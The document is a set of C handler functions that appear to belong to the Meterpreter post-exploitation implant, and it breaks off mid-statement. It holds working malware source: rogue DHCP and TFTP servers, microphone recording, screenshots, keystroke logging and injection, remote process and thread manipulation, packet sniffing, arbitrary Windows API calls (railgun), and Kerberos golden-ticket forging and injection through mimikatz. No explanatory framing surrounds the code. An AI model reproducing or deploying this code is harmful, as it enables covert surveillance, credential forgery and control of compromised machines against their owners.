//Set a DHCP option based on the name and value specified in the packet DWORD request_lanattacks_set_dhcp_option(Remote *remote, Packet *packet){ DWORD retval = ERROR_SUCCESS; char* name = NULL; unsigned int namelen = 0; Packet *response = packet_create_response(packet); do{ //Get option value Tlv tlv; if((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS) break; //Get option name name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME); namelen = strlen(name); setDHCPOption(dhcpserver, name, namelen, tlv.buffer, tlv.header.length); } while (0); packet_transmit_response(retval, remote, response); return ERROR_SUCCESS; }
//Adds a file to serve based on the name and value specified in the packet DWORD request_lanattacks_add_tftp_file(Remote *remote, Packet *packet){ DWORD retval = ERROR_SUCCESS; char* name = NULL; unsigned int namelen = 0; Packet *response = packet_create_response(packet); do{ Tlv tlv; //Get file contents if((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS) break; //Get file name name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME); namelen = strlen(name); addTFTPFile(tftpserver, name, namelen, tlv.buffer, tlv.header.length); } while (0); packet_transmit_response(retval, remote, response); return ERROR_SUCCESS; }
/* * core_channel_interact * --------------------- * * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to interact with * req: TLV_TYPE_BOOL -- True if interactive, false if not. */ DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); Channel *channel = NULL; DWORD channelId; DWORD result = ERROR_SUCCESS; BOOLEAN interact; // Get the channel identifier channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); interact = packet_get_tlv_value_bool(packet, TLV_TYPE_BOOL); // If the channel is found, set the interactive flag accordingly if ((channel = channel_find_by_id(channelId))) { lock_acquire( channel->lock ); // If the response packet is valid if ((response) && (channel_get_class(channel) != CHANNEL_CLASS_BUFFERED)) { NativeChannelOps *native = (NativeChannelOps *)&channel->ops; // Check to see if this channel has a registered interact handler if (native->interact) result = native->interact(channel, packet, native->context, interact); } // Set the channel's interactive state channel_set_interactive(channel, interact); lock_release( channel->lock ); } // Send the response to the requestor so that the interaction can be // complete packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Grabs the audio from mic. */ DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; char *wave = NULL; if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME))) { res = GetLastError(); } //packet_add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave); packet_transmit_response(res, remote, response); if (wave) free(wave); return res; }
/* * Closes a handle that was opened via the attach method * * req: TLV_TYPE_HANDLE - The process handle to close. */ DWORD request_sys_process_close(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE handle; DWORD result = ERROR_SUCCESS; handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); if (handle) { if (handle != GetCurrentProcess()) CloseHandle(handle); } else result = ERROR_INVALID_PARAMETER; // Send the response packet to the requestor packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Free memory in the context of the supplied process * * req: TLV_TYPE_HANDLE - The handle to free memory within. * req: TLV_TYPE_BASE_ADDRESS - The base address of the memory to free. * opt: TLV_TYPE_LENGTH - The size, in bytes, to free. */ DWORD request_sys_process_memory_free(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE handle; SIZE_T size; LPVOID base; DWORD result = ERROR_SUCCESS; handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); // Free the memory if (!VirtualFreeEx(handle, base, size, MEM_RELEASE)) result = GetLastError(); // Transmit the response packet_transmit_response(result, remote, packet); return ERROR_SUCCESS; }
/* * Grabs screenshot. */ DWORD request_image_get_dev_screen(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; HWND hDesktopWnd; HDC hdc; HDC hmemdc; HBITMAP hbmp; int sx,sy; hDesktopWnd = GetDesktopWindow(); hdc = GetDC(hDesktopWnd); hmemdc = CreateCompatibleDC(hdc); if(hdc){ sx = GetSystemMetrics(SM_CXSCREEN); sy = GetSystemMetrics(SM_CYSCREEN); hbmp = CreateCompatibleBitmap(hdc,sx,sy); if (hbmp) { SelectObject(hmemdc, hbmp); BitBlt(hmemdc,0,0,sx,sy,hdc,0,0,SRCCOPY); convert_bmp_and_send(hbmp, hmemdc,response); ReleaseDC(hDesktopWnd,hdc); DeleteDC(hmemdc); DeleteObject(hbmp); } } packet_transmit_response(res, remote, response); return res; }
/* * Attaches to the supplied process identifier. If no process identifier is * supplied, the handle for the current process is returned to the requestor. * * req: TLV_TYPE_PID - The process to attach to. */ DWORD request_sys_process_attach(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 HANDLE handle = NULL; DWORD result = ERROR_SUCCESS; DWORD pid; // Get the process identifier that we're attaching to, if any. pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); // No pid? Use current. if (!pid) handle = GetCurrentProcess(); // Otherwise, attach. else { BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT); DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS); handle = OpenProcess(permission, inherit, pid); } // If we have a handle, add it to the response if (handle) packet_add_tlv_uint(response, TLV_TYPE_HANDLE, (DWORD)handle); else result = GetLastError(); #else DWORD result = ERROR_NOT_SUPPORTED; #endif // Send the response packet to the requestor packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Terminate the supplied thread with the supplied exit code * * req: TLV_TYPE_THREAD_HANDLE - The thread to terminate. * req: TLV_TYPE_EXIT_CODE - The exit code to use when terminating. */ DWORD request_sys_process_thread_terminate(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; DWORD code; if ((thread = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_HANDLE))) { code = packet_get_tlv_value_uint(packet, TLV_TYPE_EXIT_CODE); if (!TerminateThread(thread, code)) result = GetLastError(); } else result = ERROR_INVALID_PARAMETER; packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
DWORD request_resolve_host(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR hostname = NULL; struct in_addr addr; struct in6_addr addr6; u_short ai_family = AF_INET; int iResult; hostname = packet_get_tlv_value_string(packet, TLV_TYPE_HOST_NAME); if (!hostname) { iResult = ERROR_INVALID_PARAMETER; dprintf("Hostname not set"); } else { ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); iResult = resolve_host(hostname, ai_family, &addr, &addr6); if (iResult == NO_ERROR) { if (ai_family == AF_INET) { packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); } else { packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); } packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); } else { dprintf("Unable to resolve_host %s error: %x", hostname, iResult); } } packet_transmit_response(iResult, remote, response); return ERROR_SUCCESS; }
/*! * @brief Handler for the use kerberos ticket message. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the incoming packet. * @returns \c ERROR_SUCCESS */ DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet) { Packet * response = packet_create_response(packet); DWORD result = ERROR_INVALID_PARAMETER; Tlv ticketTlv; result = packet_get_tlv(packet, TLV_TYPE_KIWI_KERB_TKT_RAW, &ticketTlv); if (result == ERROR_SUCCESS) { dprintf("[KIWI] Ticket size: %u bytes", ticketTlv.header.length); result = mimikatz_kerberos_ticket_use(ticketTlv.buffer, ticketTlv.header.length); } else { dprintf("[KIWI] Failed to get ticket content"); } packet_transmit_response(result, remote, response); return result; }
/* * core_channel_close * ------------------ * * Closes a previously opened channel. * * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close */ DWORD remote_request_core_channel_close(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS, channelId; Channel *channel = NULL; dprintf("[CHANNEL] remote_request_core_channel_close."); do { // Get the channel identifier channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); // Try to locate the specified channel if (!(channel = channel_find_by_id(channelId))) { res = ERROR_NOT_FOUND; break; } // Destroy the channel channel_destroy(channel, packet); if (response) { packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); } } while (0); // Transmit the acknowledgement if (response) { res = packet_transmit_response(res, remote, response); } return res; }
/*! * @brief Handler for the create golden kerberos ticket message. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the incoming packet. * @returns \c ERROR_SUCCESS */ DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet) { DWORD dwResult; Packet * response = packet_create_response(packet); DWORD dwGroupCount = 0; DWORD* pdwGroups = NULL; Tlv groupIdTlv; char* user = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_USER); char* domain = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_DOMAIN); char* sid = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_SID); char* tgt = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_TGT); DWORD userId = packet_get_tlv_value_uint(packet, TLV_TYPE_KIWI_GOLD_USERID); if (!user || !domain || !sid || !tgt) { dwResult = ERROR_INVALID_PARAMETER; } else { while (packet_enum_tlv(packet, dwGroupCount, TLV_TYPE_KIWI_GOLD_GROUPID, &groupIdTlv) == ERROR_SUCCESS) { pdwGroups = (DWORD*)realloc(pdwGroups, sizeof(DWORD) * (dwGroupCount + 1)); if (!pdwGroups) { BREAK_WITH_ERROR("Unable to allocate memory for groups", ERROR_OUTOFMEMORY); } pdwGroups[dwGroupCount++] = htonl(*(UINT*)groupIdTlv.buffer); } dwResult = mimikatz_kerberos_golden_ticket_create(user, domain, sid, tgt, userId, pdwGroups, dwGroupCount, response); } packet_transmit_response(dwResult, remote, response); return ERROR_SUCCESS; }
/* * Opens a thread with the supplied identifier using the supplied permissions * and returns a HANDLE to the requestor * * req: TLV_TYPE_THREAD_ID - The thread identifier to open * req: TLV_TYPE_THREAD_PERMS - Thre thread permissions to open with */ DWORD request_sys_process_thread_open(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE handle = NULL; DWORD result = ERROR_SUCCESS; DWORD threadId; DWORD perms; // Get the parameters threadId = packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_ID); perms = packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_PERMS); do { // Validate parameters if (!threadId) { result = ERROR_INVALID_PARAMETER; break; } // Open the thread if (!(handle = OpenThread(perms, FALSE, threadId))) { result = GetLastError(); break; } // Add the handle to the response packet packet_add_tlv_uint(response, TLV_TYPE_THREAD_HANDLE, (DWORD)handle); } while (0); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/*! * @brief Check to see if a registry key exists. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request \c Packet instance. * @returns Always returns \c ERROR_SUCCESS. */ DWORD request_registry_check_key_exists(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCTSTR baseKey = NULL; HKEY rootKey = NULL; HKEY resultKey = NULL; BOOL exists = FALSE; DWORD result; rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); baseKey = packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY); if (rootKey && baseKey) { result = RegOpenKeyA(rootKey, baseKey, &resultKey); if (result == ERROR_SUCCESS) { dprintf("[REG] Key found"); RegCloseKey(resultKey); exists = TRUE; } dprintf("[REG] Key exists? %s", exists ? "TRUE" : "FALSE"); packet_add_tlv_bool(response, TLV_TYPE_BOOL, exists); result = ERROR_SUCCESS; } else { dprintf("[REG] Invalid parameter"); result = ERROR_INVALID_PARAMETER; } dprintf("[REG] Returning result: %u %x", result, result); packet_transmit_response(result, remote, response); dprintf("[REG] done."); return ERROR_SUCCESS; }
/* * Expands a file path and returns the expanded path to the requestor * * req: TLV_TYPE_FILE_PATH - The file path to expand */ DWORD request_fs_file_expand_path(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; LPSTR expanded = NULL; LPSTR regular; regular = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); do { // No regular path? if (!regular) { result = ERROR_INVALID_PARAMETER; break; } // Allocate storage for the expanded path if (!(expanded = fs_expand_path(regular))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded); } while (0); // Transmit the response to the mofo packet_transmit_response(result, remote, response); if (expanded) free(expanded); return ERROR_SUCCESS; }
DWORD request_ui_start_keyscan(Remote *remote, Packet *request) { Packet *response = packet_create_response(request); DWORD result = ERROR_SUCCESS; bool track_active_window = packet_get_tlv_value_bool(request, TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW); // set appropriate logging function (track_active_window == true) ? (gfn_log_key = &ui_log_key_actwin) : (gfn_log_key = &ui_log_key); if (KEYSCAN_RUNNING) { result = 1; } else { // Make sure we have access to the input desktop if (GetAsyncKeyState(0x0a) == 0) { // initialize g_keyscan_buf if (g_keyscan_buf) { free(g_keyscan_buf); g_keyscan_buf = NULL; } g_keyscan_buf = calloc(KEYBUFSIZE, sizeof(WCHAR)); tKeyScan = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ui_keyscan_proc, NULL, 0, NULL); KEYSCAN_RUNNING = true; } else { // No permission to read key state from active desktop result = 5; } } // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
DWORD request_ui_send_keys(Remote *remote, Packet *request) { Packet *response = packet_create_response(request); DWORD result = ERROR_SUCCESS; wchar_t *keys = utf8_to_wchar(packet_get_tlv_value_string(request, TLV_TYPE_KEYS_SEND)); if (keys) { INPUT input[2] = {0}; input[0].type = INPUT_KEYBOARD; input[0].ki.time = 0; input[0].ki.wVk = 0; input[0].ki.dwExtraInfo = 0; input[0].ki.dwFlags = KEYEVENTF_UNICODE; input[1].type = INPUT_KEYBOARD; input[1].ki.time = 0; input[1].ki.wVk = 0; input[1].ki.dwExtraInfo = 0; input[1].ki.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP; wchar_t *loopkeys = keys; while (*loopkeys != 0) { input[0].ki.wScan = *loopkeys; input[1].ki.wScan = *loopkeys; SendInput(2, input, sizeof(INPUT)); loopkeys++; } free(keys); } else { result = 1; } // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Wait on a process handle until it terminates. * * req: TLV_TYPE_HANDLE - The process handle to wait on. */ DWORD request_sys_process_wait(Remote *remote, Packet *packet) { Packet * response = packet_create_response( packet ); HANDLE handle = NULL; DWORD result = ERROR_INVALID_PARAMETER; handle = (HANDLE)packet_get_tlv_value_uint( packet, TLV_TYPE_HANDLE ); #ifdef _WIN32 if( handle ) { if( WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 ) result = ERROR_SUCCESS; } #else if( ! waitpid(handle, NULL, WNOHANG)) { result = ERROR_SUCCESS; } #endif packet_transmit_response( result, remote, response ); return result; }
/* * Kills one or more supplied processes * * req: TLV_TYPE_PID [n] */ DWORD request_sys_process_kill(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; Tlv pidTlv; DWORD index = 0; while ((packet_enum_tlv(packet, index++, TLV_TYPE_PID, &pidTlv) == ERROR_SUCCESS) && (pidTlv.header.length >= sizeof(DWORD))) { DWORD pid = ntohl(*(LPDWORD)pidTlv.buffer); HANDLE h = NULL; #ifdef _WIN32 // Try to attach to the process if (!(h = OpenProcess(PROCESS_TERMINATE, FALSE, pid))) { result = GetLastError(); break; } if (!TerminateProcess(h, 0)) result = GetLastError(); CloseHandle(h); #else kill(pid, 9); #endif } // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); unsigned int ifid; CaptureJob *j; DWORD result; check_pssdk(); dprintf("sniffer>> capture_stats()"); ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> capture_stats(0x%.8x)", ifid); result = ERROR_SUCCESS; do { // the interface is invalid if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { result = ERROR_INVALID_PARAMETER; break; } j = &open_captures[ifid]; // the interface was not captured if(! j->adp) { result = ERROR_INVALID_PARAMETER; break; } packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int) j->cur_bytes); } while(0); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/*! * @brief Get the current hash that is used for SSL certificate verification. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @returns Indication of success or failure. */ DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet) { DWORD result = ERROR_SUCCESS; Packet* response; do { response = packet_create_response(packet); if (!response) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Rather than error out if the transport isn't HTTPS, we'll just return // an empty response. This prevents a horrible error appearing in the // MSF console if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS) { HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; if (ctx->cert_hash) { packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); } } result = ERROR_SUCCESS; } while (0); if (response) { packet_transmit_response(result, remote, response); } return result; }
/* * Unloads an image file using the base address supplied by the requestor * * req: TLV_TYPE_HANDLE - The process to unload the image in * req: TLV_TYPE_IMAGE_BASE - The base address of the image to unload */ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE handle; LPVOID base; DWORD result = ERROR_SUCCESS; handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE); base = (LPVOID)packet_get_tlv_value_uint(packet, TLV_TYPE_IMAGE_BASE); do { // Validate parameters if ((!handle) || (!base)) { result = ERROR_INVALID_PARAMETER; break; } if (handle != GetCurrentProcess()) result = remote_unload_library(handle, base); else { // Unload the library if (!FreeLibrary(base)) result = GetLastError(); } } while (0); // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
// Multi-request railgun API DWORD request_railgun_api_multi(Remote *remote, Packet *packet) { DWORD bufferSizeOUT,bufferSizeIN,bufferSizeINOUT,stackSizeInElements; BYTE * bufferIN=NULL; BYTE * bufferOUT=NULL; BYTE * bufferINOUT=NULL; DWORD * stack = NULL; DWORD returnValue; // returnValue of the function const DWORD * stackDescriptorBuffer; // do not free! Just convenience ptr to TLV Tlv stackDescriptorTlv; const char * dllName; const char * funcName; HMODULE hDll; void * funcAddr; DWORD ii; DWORD lastError; Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; Tlv reqTlv; Tlv tmpTlv; DWORD index = 0; Tlv tlvs[4]; dprintf("request_railgun_api_multi() processing %d elements (%d | %d)", TLV_TYPE_RAILGUN_MULTI_GROUP, packet->header.type, packet->header.length); while ( packet_enum_tlv(packet, index++, TLV_TYPE_RAILGUN_MULTI_GROUP, &reqTlv) == ERROR_SUCCESS ) { dprintf("request_railgun_api_multi(%d)", index); // Prepare the OUT-Buffer (undefined content) if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv) != ERROR_SUCCESS ) { dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_SIZE_OUT"); goto cleanup; } bufferSizeOUT = ntohl(*(LPDWORD)tmpTlv.buffer); dprintf("bufferSizeOUT == %d",bufferSizeOUT); if (bufferSizeOUT != 0){ bufferOUT = (BYTE *)malloc(bufferSizeOUT); memset(bufferOUT,'A',bufferSizeOUT); // this might help catch bugs } dprintf("bufferOUT @ 0x%08X",bufferOUT); // get the IN-Buffer dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_IN"); bufferIN = getRawDataCopyFromGroup(packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_IN, &bufferSizeIN); dprintf("bufferIN @ 0x%08X",bufferIN); if (bufferIN == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_IN"); goto cleanup; } dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_IN, size %d",bufferSizeIN); // get the INOUT-Buffer dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT"); bufferINOUT = getRawDataCopyFromGroup(packet, &reqTlv, TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, &bufferSizeINOUT); dprintf("bufferINOUT @ 0x%08X",bufferINOUT); if (bufferINOUT == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT"); goto cleanup; } dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, size %d",bufferSizeINOUT); // Get DLLNAME if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv) != ERROR_SUCCESS ) { dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME"); goto cleanup; } dllName = (PCHAR)tmpTlv.buffer; if (dllName == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME"); goto cleanup; } dprintf("TLV_TYPE_RAILGUN_DLLNAME. %s: ",dllName); // Get funcNAME if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv) != ERROR_SUCCESS ) { dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME"); goto cleanup; } funcName = (PCHAR)tmpTlv.buffer; if (funcName == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME"); goto cleanup; } dprintf("TLV_TYPE_RAILGUN_FUNCNAME. %s: ",funcName); // get address of function hDll = LoadLibraryA(dllName); // yes this increases the counter. lib should never be released. maybe the user just did a WSAStartup etc. if (hDll == NULL){ dprintf("LoadLibraryA() failed"); goto cleanup; } funcAddr = (void*)GetProcAddress(hDll,funcName); if (funcAddr == NULL){ dprintf("GetProcAddress() failed"); goto cleanup; } // get the Stack-description (1 DWORD description, 1 DWORD data) dprintf("Getting TLV_TYPE_RAILGUN_STACKBLOB"); if( packet_get_tlv_group_entry(packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &stackDescriptorTlv) != ERROR_SUCCESS ) { dprintf("packet_get_tlv_group_entry failed"); goto cleanup; } dprintf("Got TLV_TYPE_RAILGUN_STACKBLOB, size %d",stackDescriptorTlv.header.length); if ((stackDescriptorTlv.header.length % (2*sizeof(DWORD))) != 0){ dprintf("TLV_TYPE_RAILGUN_STACKBLOB: blob size makes no sense"); } dprintf("Function at 0x%08X.",funcAddr); stackSizeInElements = stackDescriptorTlv.header.length / (2*sizeof(DWORD)); stackDescriptorBuffer = (DWORD*) stackDescriptorTlv.buffer; stack = (DWORD*) malloc((stackSizeInElements)*sizeof(DWORD)); dprintf("Stack blob size: 0x%X",stackDescriptorTlv.header.length); dprintf("stackSizeInElements: %d",stackSizeInElements); dprintf("stack @ 0x%08X",stack); // To build the stack we have to process the items. // depending on their types the items are // 0 - literal values // 1 = relative pointers to bufferIN. Must be converted to absolute pointers // 2 = relative pointers to bufferOUT. Must be converted to absolute pointers // 3 = relative pointers to bufferINOUT. Must be converted to absolute pointers for (ii=0; ii<stackSizeInElements; ii++){ DWORD itemType,item; itemType = stackDescriptorBuffer[ii*2]; item = stackDescriptorBuffer[ii*2+1]; switch(itemType){ case 0: // do nothing. item is a literal value dprintf("Param %d is literal:0x%08X.",ii,item); stack[ii] = item; break; case 1: // relative ptr to bufferIN. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferIN); dprintf("Param %d is relative to bufferIn: 0x%08X => 0x%08X",ii,item,stack[ii]); break; case 2: // relative ptr to bufferOUT. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferOUT); dprintf("Param %d is relative to bufferOUT: 0x%08X => 0x%08X",ii,item,stack[ii]); break; case 3: // relative ptr to bufferINOUT. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferINOUT); dprintf("Param %d is relative to bufferINOUT: 0x%08X => 0x%08X",ii,item,stack[ii]); break; default: dprintf("Invalid stack item description %d for item %d",itemType,ii); goto cleanup; } } dprintf("calling function.."); SetLastError(0); // written for readability. // The compiler MUST use EBP to reference variables, sinde we are messing with ESP. // In MSVC parlance "Omit Frame pointers" OFF! __asm{ pusha // save ESP mov EBX,ESP //"push" all params on the stack mov ECX,[stackSizeInElements] mov ESI,[stack] sub ESP,ECX sub ESP,ECX sub ESP,ECX sub ESP,ECX mov EDI,ESP cld rep movsd //and call! mov eax,[funcAddr] call eax // restore stack. no matter the calling convention mov esp,ebx // starting here we can use vars again mov [returnValue],EAX popa } lastError = GetLastError(); //must be called immediately after function dprintf("called function => %d",lastError); // time to ship stuff back tlvs[0].header.length = sizeof(DWORD); tlvs[0].header.type = TLV_TYPE_RAILGUN_BACK_ERR; tlvs[0].buffer = (PUCHAR)&lastError; tlvs[1].header.length = sizeof(DWORD); tlvs[1].header.type = TLV_TYPE_RAILGUN_BACK_RET; tlvs[1].buffer = (PUCHAR)&returnValue; tlvs[2].header.length = bufferSizeOUT; tlvs[2].header.type = TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT; tlvs[2].buffer = (PUCHAR)bufferOUT; tlvs[3].header.length = bufferSizeINOUT; tlvs[3].header.type = TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT; tlvs[3].buffer = (PUCHAR)bufferINOUT; packet_add_tlv_group(response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, 4); dprintf("added stuff"); cleanup: // todo: transmit error message on failure dprintf("request_railgun_api: cleanup"); if (bufferIN != NULL) {free(bufferIN);} if (bufferOUT != NULL) {free(bufferOUT);} if (bufferINOUT != NULL) {free(bufferINOUT);} if (stack != NULL) {free(stack);} } packet_transmit_response(ERROR_SUCCESS, remote, response); dprintf("transmitted back"); return 0; }
/* * Returns the address of a procedure that is associated with the supplied * module to the requestor. * * req: TLV_TYPE_IMAGE_NAME - The name of the image to query. * req: TLV_TYPE_PROCEDURE_NAME - The name of the procedure to query. */ DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; HMODULE mod = NULL; BOOLEAN unload = FALSE; HANDLE process; LPCSTR image; LPCSTR procedure; LPVOID address = NULL; process = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE); image = packet_get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE); procedure = packet_get_tlv_value_string(packet, TLV_TYPE_PROCEDURE_NAME); do { // Validate parameters if ((!image) || (!procedure)) { result = ERROR_INVALID_PARAMETER; break; } // If the process handle is not this process... if (process != GetCurrentProcess()) { if ((result = remote_load_library(process, image, &mod)) != ERROR_SUCCESS) break; if ((result = remote_get_proc_address(process, mod, procedure, &address)) != ERROR_SUCCESS) break; } // Otherwise, load the library locally else { unload = TRUE; if (!(mod = LoadLibrary(image))) { result = GetLastError(); break; } // Try to resolve the procedure name if (!(address = (LPVOID)GetProcAddress(mod, procedure))) { result = GetLastError(); break; } } // Set the procedure address on the response packet_add_tlv_uint(response, TLV_TYPE_PROCEDURE_ADDRESS, (DWORD)address); } while (0); // Lose the reference to the module if ((mod) && (unload)) FreeLibrary(mod); else if (mod) remote_unload_library(process, mod); // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Returns a list of all of the loaded image files and their base addresses to * the requestor. * * req: TLV_TYPE_HANDLE - The process handle to enumerate the images of */ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) { BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed); DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base, DWORD baseSize); DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path, DWORD pathSize); Packet *response = packet_create_response(packet); HMODULE *modules = NULL; BOOLEAN valid = FALSE; HANDLE psapi = NULL; HANDLE handle; DWORD result = ERROR_SUCCESS; DWORD needed = 0, actual, tries = 0; DWORD index; handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE); do { // No response? No sense. if (!response) break; // Open the process API if (!(psapi = LoadLibrary("psapi"))) break; // Try to resolve the address of EnumProcessModules if (!((LPVOID)enumProcessModules = (LPVOID)GetProcAddress(psapi, "EnumProcessModules"))) break; // Try to resolve the address of GetModuleBaseNameA if (!((LPVOID)getModuleBaseName = (LPVOID)GetProcAddress(psapi, "GetModuleBaseNameA"))) break; // Try to resolve the address of GetModuleFileNameExA if (!((LPVOID)getModuleFileNameEx = (LPVOID)GetProcAddress(psapi, "GetModuleFileNameExA"))) break; // Validate parameters if (!handle) { result = ERROR_INVALID_PARAMETER; break; } // The current actual size of the array in bytes actual = 